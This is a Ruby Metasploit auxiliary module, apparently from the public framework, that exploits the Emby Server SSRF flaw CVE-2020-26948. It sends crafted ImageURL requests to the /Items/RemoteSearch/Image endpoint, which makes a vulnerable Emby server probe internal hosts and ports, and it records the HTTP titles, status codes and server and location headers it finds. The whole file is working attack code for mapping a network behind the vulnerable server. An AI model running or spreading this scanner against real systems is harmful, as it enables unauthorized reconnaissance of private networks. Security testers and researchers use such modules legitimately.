Emby SSRF HTTP Scanner

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
  
def initialize  
super(  
'Name' => 'Emby SSRF HTTP Scanner',  
'Description' => 'Generates a `GET` request to the provided web servers and executes an SSRF against  
the targeted EMBY server. Returns the server header, HTML title attribute and  
location header (if set). This is useful for rapidly identifying web applications  
on the internal network using the Emby SSRF vulnerability (CVE-2020-26948).',  
'Author' => 'Btnz',  
'License' => MSF_LICENSE,  
'Disclosure Date' => '2020-10-01',  
'Notes' => {  
'Stability' => [],  
'SideEffects' => [],  
'Reliability' => [],  
'RelatedModules' => ['auxiliary/scanner/http/emby_version_ssrf']  
},  
'References' => [  
['CVE', '2020-26948'],  
['URL', 'https://github.com/btnz-k/emby_ssrf']  
]  
)  
  
deregister_options('VHOST', 'RPORT', 'SNAPLEN', 'SSL')  
  
register_options(  
[  
OptString.new('TARGETURI', [false, 'The URI of the Emby Server', '/']),  
OptBool.new('STORE_NOTES', [true, 'Store the information in notes.', true]),  
OptBool.new('SHOW_TITLES', [true, 'Show the titles on the console as they are grabbed', true]),  
OptString.new('EMBY_SERVER', [true, 'Emby Web UI IP to use', '']),  
OptInt.new('EMBY_PORT', [true, 'Web UI port for Emby Server', '8096']),  
OptString.new('PORTS', [true, 'Ports to scan', '80,8080,8081,8888'])  
]  
)  
end  
  
def run_host(target_host)  
# Do some checking to ensure data is submitted  
# Also converts ports string to list  
dports = Rex::Socket.portspec_crack(datastore['PORTS'])  
raise Msf::OptionValidateError, ['PORTS'] if dports.empty?  
  
# loop through the ports  
dports.each do |p|  
vprint_status("Attempting SSRF with target #{target_host}:#{p}")  
uri = "/Items/RemoteSearch/Image?ProviderName=TheMovieDB&ImageURL=http://#{target_host}:#{p}"  
# not using send_request_cgi due to difference between RHOSTS and EMBY_SERVER  
res = Net::HTTP.get_response(datastore['EMBY_SERVER'], uri, datastore['EMBY_PORT'])  
  
# Check for Response  
if res.nil?  
vprint_error("http://#{target_host}:#{p} - No response")  
next  
end  
  
# Retrieve the headers to capture the Location and Server header  
server_header = res['server']  
location_header = res['location']  
  
# Check to see if the captured headers are populated  
if server_header.nil? && location_header.nil?  
vprint_error("#{target_host}:#{p} No HTTP headers")  
end  
  
# If the body is blank, just stop now as there is no chance of a title  
vprint_error("#{target_host}:#{p} No webpage body") if res.body.nil?  
  
# Very basic, just match the first title tag we come to. If the match fails,  
# there is no chance that we will have a title  
rx = %r{<title>[\n\t\s]*(?<title>.+?)[\s\n\t]*</title>}im.match(res.body.to_s)  
unless rx  
vprint_error("#{target_host}:#{p} No webpage title")  
next  
end  
  
# Last bit of logic to capture the title  
rx[:title].strip!  
if rx[:title].empty?  
vprint_error("#{target_host}:#{p} No webpage title")  
next  
end  
  
rx_title = Rex::Text.html_decode(rx[:title])  
if datastore['SHOW_TITLES']  
print_good("#{target_host}:#{p} Title: #{rx_title}")  
print_good("#{target_host}:#{p} HTTP Code: #{res.code}")  
print_good("#{target_host}:#{p} Location Header: #{location_header}")  
print_good("#{target_host}:#{p} Server Header: #{server_header}")  
end  
if datastore['STORE_NOTES']  
notedata = { code: res.code, port: p, server: server_header, title: rx_title, redirect: location_header }  
report_note(host: target_host, port: p, type: 'http.title', data: notedata, update: :unique_data)  
end  
end  
end  
end  
`